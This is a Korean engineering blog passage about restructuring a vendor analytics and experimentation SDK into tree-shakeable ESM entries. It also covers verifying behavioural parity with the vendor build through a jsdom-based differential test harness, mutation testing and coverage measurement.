**GitHub 경고는 dev와 prod를 구분해서 보여주지 않는다.** 그래서 숫자만 보면 실제보다 급해 보인다. 이 저장소도 처음엔 "취약점 8건, critical 2건"으로 적혀 있었다. 숫자에 눌려서 검증 인프라를 흔드는 메이저 업그레이드를 급하게 하는 것보다, 출하 여부로 먼저 갈라 보는 게 순서라고 생각한다. 실제로 dev 여섯 건을 없애려면 테스트 러너 메이저를 두 단계 올려야 하는데, 그건 뒤에 나올 벤더 대조 하네스를 깨뜨릴 수 있는 변경이라 기능 변경과 같은 커밋에 섞으면 안 되는 종류다.

## 조립만 건드린다

로직이 아니라 **조립**을 건드리는 게 이 작업의 나머지 전부다. 원본 엔트리는 700줄 가까운 한 파일에서 모든 컴포넌트를 순서대로 생성하고 서로 연결하고 있었다. 이걸 기능 단위 팩토리로 쪼갰다.

```text
assembly/base.ts          공통 (설정, 유저 매니저, 전송 계층)
assembly/send.ts          이벤트 전송
assembly/eval.ts          평가 엔진
assembly/messaging.ts     메시지 UI
assembly/integration.ts   외부 연동
assembly/redirect.ts      URL 분기
```

그 위에 엔트리를 여덟 개 얹었다. `.`(전체), `./core`, `./send`, `./eval`, `./config`, `./message`, `./bridge`, `./redirect` 이다. 이벤트만 보내는 소비자는 `./send` 를 가져가고, 평가만 하는 쪽은 메시지 UI를 안 받는다.

조립 순서에는 의미가 있는 곳이 있었다. 예를 들어 세션 매니저에 리스너를 등록하는 순서가 바뀌면 세션 시작 이벤트와 캠페인 처리의 선후가 뒤집힌다. 코드만 봐서는 이게 의미 있는 순서인지 우연인지 알기 어려워서, 순서 자체를 고정하는 테스트를 따로 뒀다. 뒤에 나오는 변이 배터리에도 "리스너 등록 순서를 뒤집는" 항목이 들어가 있다.

## 여기서 한 번 틀렸다

`./send` 엔트리를 만들었는데 평가 엔진이 계속 따라 들어왔다. 이벤트만 보내는데 A/B 테스트 평가기가 왜 필요한가 싶어서 들여다보니, 코어 클래스의 `create()` 가 평가기들을 무조건 등록하고 있었다.

처음 낸 해법은 이랬다. 어떤 평가기를 등록할지 불리언 플래그로 받아서, `./send` 에서는 전부 false로 넘긴다.

```ts
// 이렇게 하면 될 것 같았다
static create(registrations: { evaluator: boolean; messageUi: boolean }) {
  if (registrations.evaluator) {
    registry.register(new VariantEvaluator(...))
  }
  if (registrations.messageUi) {
    registry.register(new MessageUiEvaluator(...))
  }
}
```

동작은 한다. 런타임에 평가기가 만들어지지 않는다. 그런데 번들은 하나도 안 줄었다.

당연한 일이었다. 플래그가 false여도 `new VariantEvaluator(...)` 라는 **정적 참조**는 파일 안에 그대로 남아 있다. 번들러가 보기에 이 모듈은 여전히 평가기 모듈에 도달 가능하다. 내가 바꾼 것은 "생성 여부"라는 런타임 조건이었을 뿐, 모듈 그래프의 간선은 하나도 끊지 못했다.

트리셰이킹을 상대할 때 조건 분기는 아무 힘이 없다. 끊어야 하는 것은 import이고, 그건 코드를 물리적으로 다른 파일로 옮겨야 끊긴다. 결국 평가기 조립을 코어 클래스 바깥의 별도 모듈로 완전히 이동시키고, `create()` 가 이미 조립된 컴포넌트를 인자로 받도록 뒤집었다. 코어 파일 안의 평가기 import가 0개가 되고 나서야 타겟 매칭 코드가 실제로 빠졌다. 압축 전 기준 41KB짜리 덩어리다.

이 실수를 굳이 적는 이유는, 나중에 비슷한 판단을 또 할 뻔했기 때문이다. 어느 엔트리가 어느 모듈을 끌어오는지는 파일을 grep 해서 추정하면 자주 틀린다. 실제로 base64 라이브러리를 걷어낼 때도 grep 결과로 "`./send` 에는 영향 없을 것"이라 예측했다가 정반대 결과를 봤다. 그 라이브러리를 제거하고 가장 크게 줄어든 엔트리가 `./send`(-5.1%)였다. 코호트 조회 모듈이 `./send` 그래프에 실제로 들어 있었기 때문인데, 파일 목록만 봐서는 안 보인다. 그래서 지금은 어느 모듈이 어느 엔트리에 실리는지 궁금하면 그 엔트리를 esbuild로 한 번 말아서 산출물을 뒤진다. grep보다 오래 걸리는 대신 추정이 안 들어간다.

## ES 모듈로 내보내기

엔트리를 나눠도 산출물이 벤더와 같은 모양이면 소용이 없다. 벤더 배포물은 UMD와 ESM, 압축본 몇 가지인데 전부 **단일 프리번들**이다. 파일 하나 안에 모든 코드가 이미 합쳐져 있어서, 소비자의 번들러가 들여다봐도 모듈 경계가 없다. 잘라낼 선이 안 보이는 것이다.

그래서 빌드를 모듈을 보존하는 쪽으로 갈아엎었다.

```ts
build: {
  target: 'es2017',
  minify: false,
  sourcemap: true,
  lib: { entry: entries, formats: ['es', 'cjs'] },
  rollupOptions: {
    external: [],
    output: { preserveModules: true, preserveModulesRoot: 'src' },
  },
}
```

`preserveModules` 가 핵심이다. 소스 트리의 모양을 그대로 유지한 채 340여 개 파일로 내보낸다. 소비자 번들러는 이제 파일 단위로 도달 가능성을 판단할 수 있다.

나머지 설정도 각각 이유가 있다.

**`minify: false`.** 라이브러리는 압축하지 않는다. 압축은 소비자의 번들러가 자기 설정으로 할 일이다. 미리 압축해서 내보내면 소비자 쪽 최적화가 이미 뭉개진 코드 위에서 돌고, 디버깅할 때 소스맵을 거쳐야 한다. 벤더가 압축본을 기본 진입점으로 삼고 있었던 것이 산출물을 프리번들로 만든 이유 중 하나이기도 하다.

**`external: []`.** 런타임 의존성이 없으니 비워 둔다. 다만 이건 "없어서 비워 둔" 것이 아니라 **비워 둬야 드러나기 때문**이다. 실수로 외부 패키지를 import 하면 external 목록이 비어 있어야 빌드가 그것을 번들에 끌어들이려다 실패한다. 목록에 뭔가 적혀 있으면 조용히 외부화되고, 소비자가 설치한 적 없는 패키지를 요구하는 산출물이 나간다.

**`type: "module"` 과 `sideEffects: false`.** 후자가 없으면 번들러가 모듈 하나하나를 "부작용이 있을지도 모른다"고 보고 남긴다. 앞에서 ES5 IIFE 때문에 부작용을 증명하지 못한다고 했는데, 이 선언은 그 증명을 패키지 수준에서 대신해 주는 장치다.

그리고 `exports` 맵으로 여덟 개 엔트리를 열되, 각각에 타입과 ESM과 CJS를 함께 걸었다.

```json
"exports": {
  "./send": {
    "types": "./dist/index.send.d.ts",
    "import": "./dist/index.send.js",
    "require": "./dist/index.send.cjs"
  }
}
```

### 타입만 깨지는 함정

여기서 한 번 걸렸다. 빌드도 되고 테스트도 통과하고 런타임도 멀쩡한데, 어떤 소비자에게서는 타입이 안 잡혔다.

원인은 `.d.ts` 의 상대 import에 확장자가 없다는 것이었다. 타입 선언을 만들어 주는 플러그인은 `from './Bucketer'` 처럼 확장자 없이 내보내는데, 같은 빌드의 `.js` 출력에는 `from './Bucketer.js'` 처럼 확장자가 붙는다. 둘이 어긋난다.

이 어긋남을 `moduleResolution: bundler` 소비자는 눈치채지 못한다. 확장자 없는 지정자를 알아서 풀어 주기 때문이다. 반면 `node16` 이나 `nodenext` 소비자는 엄격해서 TS2835와 TS2307을 낸다. 우리 쪽에서 실제로 24건이 떴다.

소스의 import를 고치는 방법도 있었지만 그쪽은 벤더 복원 코드라 손댈 수 없다. 그래서 산출물만 고치는 스크립트를 빌드 뒤에 붙였다. 확장자가 이미 있는 지정자는 건드리지 않고, 상대 지정자에만 `.js` 를 붙인다. 지금은 빌드마다 377개 파일이 보정된다.

### 타입체크 두 개는 서로 다른 주장이다

이 사고가 남긴 것은 확장자 보정 스크립트가 아니라 그 옆에 생긴 게이트다.

`pnpm typecheck` 은 **우리 소스**를 본다. 소비자가 `dist` 의 `.d.ts` 를 해석할 수 있는지는 보지 않는다. 둘은 다른 주장인데, 하나만 돌리고 있으면 같은 주장으로 착각하게 된다. 실제로 이때 깨진 것은 후자뿐이었고 전자는 계속 초록불이었다.

그래서 소비자 관점 검사를 따로 뒀다. 임시 프로젝트에 패키지를 올리고 여덟 엔트리를 전부 import 해서 `tsc --noEmit` 을 돌리는데, `moduleResolution` 을 `bundler` 와 `node16` 두 가지로 각각 돌린다. 그리고 `skipLibCheck` 를 켜지 않는다. 켜면 이 검사가 잡으려는 것을 정확히 건너뛴다.

"타입체크가 통과한다"는 말은 어느 타입체크냐에 따라 다른 뜻이다. 이 글 뒷부분의 주제가 여기서 한 번 미리 나온다.

## 결과

기준선은 벤더 배포본이다. 서두의 93,628 B와 이 표의 94.9KB가 다른 이유는 시나리오가 달라서다. 서두는 상수 하나만 가져오는 합성 케이스이고, 여기는 패키지를 설치해 실제로 쓰는 소비자 기준이다.

| 서브패스    | raw      | gzip    | brotli  | 벤더 대비 (raw / gzip) |
| ----------- | -------- | ------- | ------- | ---------------------- |
| `/send`     | 86.4 KB  | 26.2 KB | 22.9 KB | **-77.5% / -72.4%**    |
| `/bridge`   | 113.7 KB | 31.1 KB | 27.0 KB | -70.4% / -67.2%        |
| `/config`   | 154.3 KB | 42.0 KB | 35.7 KB | -59.8% / -55.8%        |
| `/eval`     | 158.6 KB | 42.8 KB | 36.3 KB | -58.6% / -54.9%        |
| `/redirect` | 161.8 KB | 43.7 KB | 36.9 KB | -57.8% / -54.0%        |
| `/core`     | 170.8 KB | 45.1 KB | 38.2 KB | -55.5% / -52.5%        |
| `/message`  | 202.0 KB | 52.5 KB | 44.3 KB | -47.3% / -44.7%        |
| `.` (전체)  | 264.3 KB | 65.3 KB | 54.3 KB | -31.1% / -31.2%        |
| 벤더 원본   | 383.7 KB | 94.9 KB | 78.8 KB | 기준                   |

서브패스를 안 쓰고 `.` 만 그대로 import 해도 raw 31.1%, gzip 31.2%가 준다. 엔트리를 나눈 효과와 별개로 산출물 자체가 작아졌기 때문인데, 폴리필과 의존성을 걷어낸 몫이 여기 들어 있다.

측정 방식에 함정이 하나 있었다. 처음에는 빌드된 `dist` 파일을 경로로 직접 가리켜서 쟀는데, 그러면 `exports` 맵과 `sideEffects` 선언을 건너뛰게 되어 2~3% 낙관적인 값이 나온다. 지금은 패키지를 실제로 빌드해 임시 프로젝트의 `node_modules` 에 설치하고, 패키지 이름으로 import 해서 번들한 값을 쓴다. 그 절차를 스크립트가 자동화하고 기준선 파일이 회귀를 막는다. 위 표는 이 글을 쓰면서 다시 돌려 여덟 개 전부 기준선과 0.0% 일치를 확인한 값이다.

구조 쪽 변화도 같이 확인된다.

|                  | 벤더          | 이 저장소          |
| ---------------- | ------------- | ------------------ |
| ES5 IIFE 클래스  | 500개 가까이  | **0개**            |
| 네이티브 `class` | 0개           | 460개 가까이       |
| 모듈 구조        | 단일 프리번들 | 340여 개 모듈 보존 |
| 공개 엔트리      | 1개           | 8개                |
| 런타임 의존성    | 2개           | **0개**            |
| core-js 참조     | 인라인됨      | **0건**            |

## 그런데 같은 물건인가

여기까지가 자랑할 만한 부분인데, 사실 어려운 쪽은 지금부터였다.

지금까지의 이야기는 전부 "우리가 만든 게 더 작다"는 주장이다. 이 주장이 의미를 가지려면 앞에 조건이 하나 붙어야 한다. **그게 같은 물건일 때만** 의미가 있다. 평가 결과가 하나라도 다르면 실험 배정이 달라지고, 이벤트 페이로드의 키가 하나 빠지면 대시보드의 지표가 조용히 어긋난다. 조용히 어긋나는 게 문제다. 에러가 나면 알아채기라도 하지만, 이 종류의 어긋남은 몇 주 뒤에 "이 실험 결과가 좀 이상한데"로 도착한다.

"소스를 복원해서 로직을 안 고쳤으니 같다"는 논증은 생각보다 약하다. 조립 순서를 바꿨고, 엔트리를 쪼갰고, 폴리필을 걷어냈고, 의존성 두 개를 네이티브로 교체했고, `flat`/`flatMap` 세 곳을 `reduce` 로 바꿨다. 각각은 사소해 보이지만, 사소해 보이는 변경이 안전하다는 근거가 "사소해 보인다" 뿐이면 그건 근거가 아니다.

그래서 테스트를 쓰기로 했는데, 여기서 한 번 더 갈라야 했다. 우리가 값을 단언하는 테스트는 **우리 구현이 우리 기대와 일치한다**는 것만 증명한다. 벤더도 그 값을 만든다는 근거는 아니다. 우리 기대 자체가 벤더 코드를 잘못 읽은 결과일 수 있고, 실제로 그런 일이 있었다.

그리고 범위를 먼저 정했다. 이 SDK의 모든 기능을 검증하지는 않기로 했다. **우리가 실제로 쓰는 경로를 벤더와 대조하고, 안 쓰는 영역은 미검증으로 남기되 미검증이라는 사실을 문서에 적는다.** 검증은 공짜가 아니고, 아무도 안 쓰는 기능의 동등성을 증명하는 데 시간을 쓰는 것은 우선순위가 아니라고 봤다. 다만 "안 했다"와 "했는데 통과했다"가 문서에서 구분되지 않으면 그건 나중에 사고가 된다.

## 차분 테스트 하네스

택한 방식은 차분 테스트(differential testing)다. 같은 입력을 두 구현에 나란히 넣고 출력이 같은지만 보는 방식이다.

보통의 테스트와 무엇이 다른지는 **기대값을 어디서 가져오느냐**에 있다.

어떤 테스트든 "이 입력에 대한 옳은 출력은 무엇인가"를 알려주는 기준이 있어야 판정을 할 수 있다. 소프트웨어 테스팅에서는 이 기준을 **오라클**(test oracle)이라고 부른다. 그리고 그 기준을 구하기 어려워서 검증이 막히는 상황을 오라클 문제(oracle problem)라고 한다.

일반적인 테스트에서 오라클은 사람이다. `expect(bucketing(user)).toBe("B")` 처럼 정답을 손으로 적는다. 그러면 테스트의 정확도가 그 정답을 적은 사람이 명세를 얼마나 잘 이해했는지에 묶인다. 명세가 없거나, 있어도 구현과 어긋나 있거나, 출력이 사람이 암산할 수 없는 종류(해시값, 부동소수점 누적, 파서의 AST)면 이 방식이 막힌다.

차분 테스트는 그 오라클을 **다른 구현으로 대신한다.** 정답을 몰라도 된다. 두 구현이 같은 답을 내는지만 보면 된다. 컴파일러를 검증할 때 다른 컴파일러와 결과를 비교하거나, 새 파서를 만들 때 기존 파서와 같은 AST가 나오는지 보는 것이 같은 방식이다.

이 상황에는 이 방식이 잘 맞았다. 애초에 이 작업의 목표가 "옳게 동작하는 것"이 아니라 **"벤더와 똑같이 동작하는 것"** 이기 때문이다. 벤더가 타임존을 빈 문자열로 보내는 버그마저 그대로 재현해야 하는 마당에, 우리가 옳다고 생각하는 값을 손으로 적는 테스트는 오히려 방해가 된다. 여기서 오라클은 명세도 내 이해도 아니고 **벤더가 실제로 배포한 그 파일**이다.

물론 공짜는 아니다. 차분 테스트는 두 구현이 **같은 이유로 똑같이 틀릴 때** 조용히 통과한다. 뒤에서 이 약점에 정확히 걸린 사례가 나온다.

구체적으로는 벤더가 npm에 배포한 UMD 번들을 별도 jsdom에 올려 실행하고, 우리 빌드를 같은 조건으로 부팅한 다음, 같은 입력에 같은 호출을 해서 출력을 대조한다.

여기서 시간을 꽤 쓴 지점이 있다. 처음 계획은 `node:vm` 으로 벤더 번들을 격리 실행하는 것이었는데, 이게 동작하지 않는다. `vm.createContext(window)` 로 만든 컨텍스트 안에 전역이 갇혀서 바깥에서 UMD 전역을 읽을 수 없다. 실제로 통과한 방식은 이랬다.

```ts
const dom = new JSDOM('<!doctype html><html><body></body></html>', {
  url: 'https://example.test/p?q=1',
  runScripts: 'outside-only', // 이게 없으면 window.eval 자체가 없다
})
const w = dom.window

// 스텁은 반드시 eval 전에 심는다. SDK가 로드 시점에 전역을 읽는다.
w.navigator.sendBeacon = () => true
Object.defineProperty(w.navigator, 'userAgent', {value: UA, configurable: true})
Object.defineProperty(w.navigator, 'languages', {
  value: ['ko-KR', 'ko'],
  configurable: true,
})
w.fetch = () => Promise.reject(new Error('offline'))
w.XMLHttpRequest = makeFixtureXHRClass(workspaceConfig, options)

w.eval(readFileSync(VENDOR_UMD, 'utf8'))
const vendorSdk = w.VendorGlobal
```

우리 빌드 쪽은 vitest의 jsdom 환경에서 평범하게 import 하고, 같은 스텁을 `vi.stubGlobal` 로 심는다. 두 클라이언트를 같은 워크스페이스 설정 픽스처로 부팅해서 `onReady` 까지 기다린 뒤 넘겨주는 함수 하나로 정리했다.

```ts
export async function bootDifferential(sdkKey, workspaceConfig, options) {
  restoreHistory()
  resetStorage()
  const {Sdk, window: vendorWindow} = loadVendorSdk(workspaceConfig, options)
  const vendorClient = Sdk.createInstance(sdkKey, options?.clientConfig)
  await new Promise((resolve) => vendorClient.onReady(resolve))

  resetStorage()
  vi.resetModules()
  stubOurGlobals(workspaceConfig, options)
  const ours = await import('../../src/index.browser')
  const ourClient = ours.createInstance(sdkKey, options?.clientConfig)
  await new Promise((resolve) => ourClient.onReady(resolve))

  return {vendorClient, ourClient, vendorWindow, cleanup}
}

// 같은 호출을 양쪽에 그대로 실행해 나란히 돌려준다
export function compare(clients, fn) {
  return {vendor: fn(clients.vendorClient), ours: fn(clients.ourClient)}
}
```

두 SDK가 서로 다른 jsdom에서 도니까, 대조에서 빼야 하는 것들이 생긴다. URL에서 유래하는 프로퍼티(`url`, `host`, `pagePath`, `referrer`, `protocol` 등)는 두 DOM의 주소가 다르므로 정규화 단계에서 제거하고 비교한다. 난수로 만들어지는 식별자도 마찬가지다. 나머지는 스텁을 동일하게 심었으니 값까지 일치해야 한다.

서버 응답은 XHR을 통째로 갈아끼워 픽스처로 고정했다. 설정 요청에는 준비한 워크스페이스를 200으로 돌려주고, 나머지 요청은 상태 0으로 실패시킨다. 양쪽이 각자 이 클래스를 따로 인스턴스화하므로 응답 큐도 서로 독립이다.

이렇게 깔고 나서 대조 범위를 넓혔다. 평가 결정은 유저 40명 × 키 24개를 전수로 돌려 480쌍을 비교했고, 이벤트는 `sendBeacon` 본문을 가로채서 페이로드를 값까지 대조했다. 실험 상태별(진행/초안/일시정지/종료), 타겟 키 여덟 종, URL 분기, 네이티브 브릿지, 메시지 UI의 이벤트와 저장소 규칙까지 붙였다. 최종적으로 테스트 1932개가 통과했고 불일치는 0건이었다.

여기까지 왔을 때, 솔직히 다 끝났다고 생각했다.

## 하네스가 거짓말을 하고 있었다

테스트가 1932개 통과한다는 사실은 무엇을 증명하는가. 엄밀히 말하면 아무것도 증명하지 않는다. 통과는 "테스트가 실패할 조건을 만나지 않았다"는 뜻이고, 실패할 조건을 애초에 만들 수 없는 테스트도 똑같이 통과한다.

이걸 확인하는 방법은 하나뿐이다. **일부러 망가뜨려 보는 것.** 소스의 한 줄을 틀리게 바꾼 다음 테스트를 돌려서, 빨간불이 나는지 본다. 안 나면 그 동작은 검증되고 있지 않은 것이다.

이걸 스크립트로 만들었다. 변이 하나는 이렇게 생겼다.

```js
{
  id: 'bucketing-seed',
  file: `${SRC}/core/internal/evaluation/bucket/Bucketer.ts`,
  find: 'murmurhash3_x86_32(value, seed)',
  replace: 'murmurhash3_x86_32(value, seed + 1)',
  detects: 'vendor-parity-decision: 버킷 분산'
}
```

각 변이를 소스에 주입하고 테스트를 돌린 뒤 원복한다. 하나라도 검출되지 않으면 exit 1이다. 설계에서 신경 쓴 것이 셋 있었다.

**대상 문자열이 정확히 한 번 나타나지 않으면 즉시 에러를 낸다.** 리팩터링으로 소스가 바뀌어서 변이가 아무 데도 적용되지 않으면 테스트는 당연히 통과하고, 배터리는 "미검출"을 보고한다. 그런데 그건 검증의 실패가 아니라 변이 정의가 낡은 것이다. 둘을 구분하지 않으면 배터리 자체가 거짓말을 하기 시작한다.

**원복은 어떤 경로로 끝나든 보장한다.** 원본을 메모리에 들고 `finally` 와 시그널 핸들러에서 되돌린다. 중단된 배터리가 변이된 소스를 저장소에 남기는 게 제일 위험한 실패 모드다.

**기준선을 먼저 검사한다.** 변이 없이 이미 실패하는 상태에서 "변이가 검출됐다"는 아무 의미가 없다.

그리고 이 배터리가, 통과하고 있던 테스트 중에 죽어 있는 것들을 찾아냈다.

### 원본에서만 우연히 옳던 테스트

URL 분기 매처를 `return true` 로 바꿨는데, 벤더 대조 테스트가 통과했다. "URL이 매치하지 않으면 양쪽 다 리다이렉트를 시도하지 않는다"를 검증한다고 적혀 있는 테스트였다.

원인을 따라가 보니 라이프사이클 매니저에 있었다. 이 클래스는 설치 시점에 `history.pushState` 를 자기 인스턴스에 바인딩된 래퍼로 감싼다.

```ts
history.pushState = ((f) =>
  function pushState() {
    var ret = f.apply(history, arguments)
    changeLifecycle('locationChange') // 이 클로저가 특정 인스턴스를 붙잡는다
    return ret
  })(history.pushState)
```

그런데 `client.close()` 는 이 패치를 되돌리지 않는다. 코어와 폴링 동기화만 닫는다. 결과적으로 테스트마다 래퍼가 한 겹씩 쌓이고, **앞 테스트가 만든 클라이언트가 뒤 테스트의 `history.pushState` 에 계속 반응한다.**

임시 로그를 심어 확인한 순서는 이랬다.

1. 테스트 1의 클라이언트가 `pushState` 를 감싼다. `afterEach` 의 정리는 이걸 되돌리지 않는다.
2. 테스트 2가 부팅하면서 `history.pushState` 로 URL을 바꾼다. 죽지 않은 테스트 1의 클라이언트가 여기 반응한다. 변이 상태에서는 매처가 항상 true이므로 리다이렉트를 실행하고 가드 쿠키를 남긴다. 이 시점은 전역 스텁이 걷힌 뒤라 캡처에는 안 잡힌다.
3. 이어서 부팅한 테스트 2 본체의 클라이언트는 첫 줄에서 "이미 리다이렉트했음"을 만나 곧바로 null을 반환한다. **매처에 도달조차 하지 않는다.**
4. 그래서 "리다이렉트 호출이 없어야 한다"도, "가드 쿠키가 없어야 한다"도 전부 통과한다.

변이 없는 원본에서는 2번 단계가 매처 false로 끝나 쿠키를 안 남기고, 그래서 테스트 2가 정상 경로를 밟는다. **원본에서만 우연히 옳게 동작하던 테스트**였던 셈이다.

고친 곳은 하네스 한 군데다. 모듈 로드 시점에 네이티브 `pushState`/`replaceState` 를 캡처해 두고, 부팅 진입 시 복원해서 래퍼 체인을 끊는다. 프로덕션 코드는 건드리지 않았다. `close()` 가 패치를 안 되돌리는 것은 벤더와 동일한 동작이고, 우리가 바꿀 대상이 아니다.

### 픽스처가 연산자 하나만 쓰고 있었다

두 번째는 더 조용한 종류였다. 크거나 작다를 비교하는 매처를 크거나 같다로 바꿔 봤다. 실패 0건이었다. 포함 매처를 시작 매처로 바꿔 봤다. 역시 실패 0건이었다.

원인은 픽스처였다. 워크스페이스 픽스처의 모든 타겟 조건이 `operator: "IN"` 이었다. 480쌍을 전수 대조했다는 그 테스트가, 실제로는 IN 연산자 경로 하나만 480번 밟고 있었다. 나머지 연산자 여덟 종과 `NOT_MATCH` 매치 타입, NUMBER/BOOLEAN/VERSION 값 타입 라우팅은 **벤더와 한 번도 대조된 적이 없었다.**

이건 커버리지 도구로는 안 보인다. 매처 파일들은 다 실행되고 있었으니까. "실행됐다"와 "그 결과를 누가 단언했다"는 다른 이야기다.

픽스처에 연산자별 실험을 열두 개 추가해서 닫았다. 각 실험은 조건 하나만 걸고 기본 규칙이 특정 변형을 직접 가리키게 해서, 조건이 매치하면 변형과 사유가 함께 갈리도록 설계했다. 버킷팅이 개입하지 않아 대조 대상이 순수하게 매칭 결과 하나로 좁혀진다. 크다와 크거나 같다처럼 경계가 한 칸 차이인 쌍은 둘 다 넣어야 서로 맞바꾸는 변이를 잡을 수 있다.

### 픽스처 키가 겹쳐 실험이 사라졌다

세 번째는 그 조합 실험을 추가하다가 생긴 사고다. 새 실험에 키 41~43번을 배정했는데, 변이 세 개가 갑자기 미검출로 돌아섰다.

워크스페이스 DTO는 실험을 키로 맵에 담는다. 키가 겹치면 뒤에 오는 실험이 앞을 조용히 덮는다. 내가 배정한 키 셋이 기존의 컨테이너 실험, 유저 오버라이드, 세그먼트 오버라이드를 덮어버렸고, 그 세 기능은 워크스페이스에서 사라진 상태가 됐다. **그런데 테스트는 전부 통과했다.** 양쪽 SDK가 똑같이 "그런 실험 없음"을 반환하니까 대조는 일치로 판정한다.

비슷한 일이 한 번 더 있었다. 실험 상태 필드에 모델 이름을 넣었는데 실제 와이어 포맷은 다른 코드를 쓰고 있었다. 틀린 코드를 넣으면 해당 실험이 워크스페이스에서 조용히 누락되고, 역시 양쪽이 똑같이 not-found를 반환해 일치로 통과한다. 초안 상태와 종료 상태 경로가 전혀 검증되지 않는다는 사실을 그 통과가 가려 준다.

이건 대조 테스트라는 방식 자체의 약점이다. 양쪽이 **같은 이유로 아무것도 안 하면** 대조는 언제나 통과한다. 픽스처가 잘못되면 그 잘못이 양쪽에 똑같이 적용되니 대조로는 절대 안 잡힌다.

지금은 픽스처 자체를 검사하는 테스트를 뒀다. 실험, 플래그, 메시지 UI, 세그먼트, 버킷의 키와 id 중복을 막는다. 픽스처를 검사하는 테스트는 이 저장소에서 이때 처음 생겼는데, 진작 있었어야 했다고 생각한다.

## 검증의 범위를 다시 잰다

변이는 최종적으로 72개가 됐고 전부 검출된다. 그런데 이 숫자에는 함정이 있다. **72개는 사람이 고른 지점이다.** 내가 의심한 곳만 찌른 것이라, 의심하지 못한 영역은 이 숫자에 아예 안 들어온다.

그래서 대조가 소스의 어디까지 닿았는지를 따로 쟀다. 대조 테스트를 커버리지 계측으로 돌린 결과다.

```text
런타임 소스        350여 개
그중 statement 0%  10개
전체 statement     약 72%
전체 function      약 69%
```

이 측정에서 신뢰할 만한 것은 0% 쪽뿐이다. 실행됐다는 것이 그 결과를 누가 단언했다는 뜻은 아니지만, 0%는 그 코드가 대조에 한 번도 참여하지 않았다는 확정 신호다.

0% 파일 10개를 전부 열어 보니 출하되지 않는 엔트리에 속한 것들이었다. Node 전용 엔트리와 태그 매니저용 엔트리, 그리고 그 둘만 참조하는 파일들이다. 우리 빌드 엔트리는 여덟 개이고 `exports` 맵도 같은 여덟 개라, 소비자가 도달할 경로가 없다. 그래서 "대조가 닿지 않은 출하 코드는 파일 단위로는 없다"가 된다.

여기서 멈추면 안 된다는 게 이 측정의 진짜 소득이었다. **0% 파일 10개를 빼고 남은 부분 실행 파일 340여 개 안에, 미실행 statement가 25.8%, 미호출 function이 32.0% 남아 있다.** 파일 단위로만 보면 이 영역이 통째로 안 보인다. "0% 파일이 열 개뿐"이라는 결과를 "거의 다 대조했다"로 읽으면 안 되는 이유다.

한편 이 총량 집계가 사람이 손으로 적어 둔 미검증 목록과 독립적으로 같은 지점들을 가리켰다는 것도 확인됐다. 사람이 고른 목록에 큰 누락이 없다는 것을 기계가 한 번 더 확인해 준 셈인데, 그게 "다 봤다"는 뜻은 아니다.

## 검증하지 못한 것을 남긴다

그래서 검증 현황 문서를 따로 뒀다. 이 문서의 가치는 무엇이 확인됐는지가 아니라 **무엇이 확인되지 않았는지**를 남기는 데 있다고 생각한다.

근거의 강도를 세 등급으로 나눴다.

| 등급       | 뜻                                                                              |
| ---------- | ------------------------------------------------------------------------------- |
| **대조**   | 벤더 배포본을 같은 jsdom에 올려 나란히 실행하고 출력을 비교했다. 가장 강한 근거 |
| **자체**   | 우리 테스트가 값을 단언한다. "벤더도 그렇다"는 근거가 아니다                    |
| **미검증** | 실행된 적이 없다                                                                |

UUID 교체가 "자체" 등급인 게 이 구분의 쓸모를 보여준다. UUID는 난수라 벤더와 값을 비교할 수 없다. 지킬 수 있는 건 형식뿐이고, 그 형식을 변이 세 개가 지킨다. 대조 1540건이 교체 후에도 통과한다는 사실은 정황 근거는 되지만, 관련 식별자 필드는 애초에 대조 대상에서 제외돼 있으므로 "벤더와 같은 값을 만든다"의 근거는 아니다. 등급을 안 나눴으면 이 항목이 다른 항목과 같은 무게로 읽혔을 것이다. 반대로 base64 교체는 원본 라이브러리와 직접 비교하므로 표에 "라이브러리 대조"로 따로 적었다. 근거의 종류가 다르면 이름도 달라야 한다고 봤다.

닫지 못한 항목들을 처음에는 뭉뚱그려 적었는데, 나중에 다시 갈랐다. **"정말로 수단이 없다"와 "아직 조사하지 않았다"는 다르다.** 다섯 항목 중 정말로 외부 정보가 필요한 것은 네이티브 앱이 브릿지로 돌려주는 응답 하나뿐이었고, 나머지는 조사를 안 한 것이었다. 특히 설정 델타 병합은 폴링 주기가 이미 공개 설정으로 있어서 수단이 없는 게 아니었다. 진짜 장애물은 대조 하네스가 jsdom 두 개를 쓰는 구조와 가짜 타이머의 충돌이었다.

갈래를 뭉뚱그리면 목록이 실제보다 비관적으로 보이고, 할 수 있는 일이 못 하는 일로 굳는다. 이게 문서 정리의 문제가 아니라 판단의 문제라고 생각한다.

마지막으로, 앞에서 안 고치기로 한 벤더 버그들에는 별도의 장치가 붙어 있다. 타임존이 대표적이다. 변이 하나가 "그 버그를 고쳐버린" 상태를 주입하고, 대조 테스트가 그걸 잡는다. 회귀 가드가 아니라 **버그 보존 가드**다.

이게 필요한 이유는 단순하다. "이건 일부러 이렇게 둔 것"이라는 사실은 코드 주석만으로는 반드시 사라진다. 몇 달 뒤 누군가 그 줄을 보고 선의로 고칠 텐데, 그때 빨간불이 켜지지 않으면 아무도 못 잡는다. 안 고치기로 한 결정도 결정이라서, 지켜 줄 게이트가 없으면 유지되지 않는다.

## 만들지 않기로 한 것

같이 다시 만들 계획이던 패키지가 하나 더 있었다. 이 SDK의 React 바인딩이다. Provider와 훅 몇 개로 감싼 얇은 층이다.

시작하자마자 막혔다. **이쪽은 소스맵을 배포하지 않는다.** 복원할 원본이 없으니 재작성밖에 없는데, 재작성은 이 글 전체가 기대고 있는 근거를 못 쓴다는 뜻이다. 벤더 코드를 그대로 쓰는 게 아니라 내가 읽고 다시 짜는 것이므로, "로직을 안 고쳤다"는 주장 자체가 성립하지 않는다.

그래서 만들기 전에 질문을 하나 바꿨다. "어떻게 똑같이 만들까"가 아니라 **"이걸 정말 쓰고 있나"** 였다.

소비 저장소 여덟 곳을 훑어서 세어 봤다. 이 패키지가 내보내는 훅은 열한 개인데, 실제로 쓰이는 것은 Provider와 Context, 그리고 이벤트 전송 훅 셋뿐이었다. 평가 계열 훅은 **사용처가 한 곳도 없었다.** 열한 개 중 열 개가 죽어 있는 패키지를 근거도 약한 방식으로 재작성할 이유가 없었다.

그래서 안 만들기로 했다. 소비 측은 이벤트 전송 엔트리를 직접 쓰고, Provider와 훅 하나는 각자 서른 줄쯤으로 자체 구현한다.

